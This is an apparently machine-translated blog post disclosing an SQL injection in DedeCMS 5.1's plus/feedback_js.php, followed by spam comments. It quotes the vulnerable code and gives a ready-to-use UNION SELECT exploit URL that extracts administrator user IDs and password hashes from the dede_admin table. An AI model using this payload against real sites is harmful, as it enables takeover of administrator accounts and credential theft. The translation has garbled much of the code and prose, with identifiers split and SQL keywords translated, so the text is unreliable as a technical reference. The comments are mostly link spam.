DEDECMS 5,1 feedback_js.php 0day-0 dnů, DEDECMS, DEDECMS 5.1, feedback

DEDECMS 5,1 feedback_js.php 0day

Tento záznam byl zaslán Říjen 11 2009

Autor: st0p Rainy'Fox
Reprodukovat uveďte zdroj: http://www.st0p.org http://bbs.erpangzi.com/

Tato chyba zabezpečení je nalezen a Rainy'Fox je k dispozici také v případě magic_quotes_gpc = off

Zranitelnost Verze: Články Condo 5.1
To může být využit k získání účtu správce na pozadí a šifrování hash, mezery existovat soubor plus / feedback_js.php, nefiltrované parametry $ arcurl

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) if (empty ($ ARCID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $ Row = $ dlist -> DSQL -> GetOne ("SELECT id` # Z @ __ cache_feedbackurl `, kde url = '$ arcurl'");
        / / Zde $ arcurl bez filtru
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; if (is_array ($ row)) $ urlindex = $ row ['id'];
       / / Prezentovat výsledky dát dolarů urlindex přiřazení pro dotaz na $ row ['id'], můžeme budovat SQL do následujících provozních
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; if (empty ($ ARCID) && prázdné ($ urlindex)) exit ();
 / / Pokud je $ ARCID je prázdná a nebo $ urlindex prázdný východ
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; if (empty ($ ARCID)) $ wq = "urlindex = '$ urlindex'";
 / / $ ARCID je prázdný, jen nad výsledky realizace budou zařazeny do $ wq do těchto prováděných operací.
 = " aid=' $arcID ' " ; else $ wq = "podpora = '$ ARCID'";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; QueryString $ = "SELECT * FROM` # @ __ `zpětnou vazbu, kde $ wq a ischeck = 1 seřadit podle DTIME desc";
 Init ( ) ; $ Dlist -> Init ();
 SetSource ( $querystring ) ; $ Dlist -> SetSource ($ QueryString);
 ......

Podívejte se na použití, hej, zavřel jsem použít dvě spojení

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'UNION SELECT' "a 1 = 2 unie vyberte 1,1,1 a userid, 3,1,3,3 a PWD 1,1,3 , 1,1,1,1,1 z dede_admin, kde 1 = 1 svazek select * from dede_feedback, kde 1 = 2 a ='' '"z dede_admin, kde'' ='

Bohužel, dokonce i Rainy'Fox ten chlap najít cíl testu, když on vlastně řekl na magic_quotes_gpc = o tom, kdy díky .... tento nápad příliš YD .. příliš hrozné, opravdu dosáhnout sektoru síť měla chaos, spousta programů jsou ve výchozím nastavení v PHP magic_quotes_gpc vypnutý, bude volat svou vlastní únikovou část ... opravdu může dosáhnout, to je noční můra z PHP programu ...

Naučte ° bojových umění Cheaty

348 Reakce na "DEDECMS 5.1 feedback_js.php 0day"

Do хостинг na Listopad 19, 2009 | Odpovědět
zelo intiresno, hvala
Od AKfour sedm na Prosinec 1, 2009 | Odpovědět
Stojím tu dnes pokořen úkol před [url = http://www.bawwgt.com] Dofus Kamas [/ url], vděčný za důvěru, kterou jste propůjčil, berou ohled na oběti, které nesou náš [url = http:/ / www.bawwgt.com] levné Dofus Kamas [/ url]. Děkuji předsedovi [url = http://www.bawwgt.com] Dofus moc vyrovnávání [/ url] pro své služby [url = http://www . bawwgt.com] koupit Dofus Kamas [/ url], stejně jako velkorysost a spolupráce se prokázala během tohoto přechodu.
Od wsewtoexg na Prosinec 3, 2009 | Odpovědět
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [link = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ odkaz], http://njofsuttytxm.com/
Tím, tedy na Prosinec 5, 2009 | Odpovědět
Jen 34 dní před Dofus 2.0! 2. prosince tu bude než se nadějeme, [url = http://www.bawwgt.com/fr] Dofus Kamas [/ url]. Na [url = http://www.bawwgt.com / fr] Dofus Kamas moins chers [/ url] každý hráč objeví zcela nový zážitek Dofus. [url = http://www.bawwgt.com/fr] acheter des Dofus Kamas [/ url] musí se spokojit s zprávy a fóra. I tak [url = http://www.bawwgt.com/fr] Achat Dofus Kamas [/ url], tam ¡ ¯ je vždy několik našich drahých hráčů ve fórech.
Tím koupit Strattera na Prosinec 13, 2009 | Odpovědět
to je v pohodě zprávy. Děkuji.
Od Seengart na Prosinec 14, 2009 | Odpovědět
jo ... informativní styl ..
Tím, Natasha-web na Prosinec 16, 2009 | Odpovědět
Vdaka ZA zaujimavy blog
Od ConradSimone na Mar 8, 2012 | Odpovědět
No to je velmi zajímavé indeed.Would čtu něco víc. Obdivovat cenné informace, které nabízejí ve svých článcích.
Conrad Simone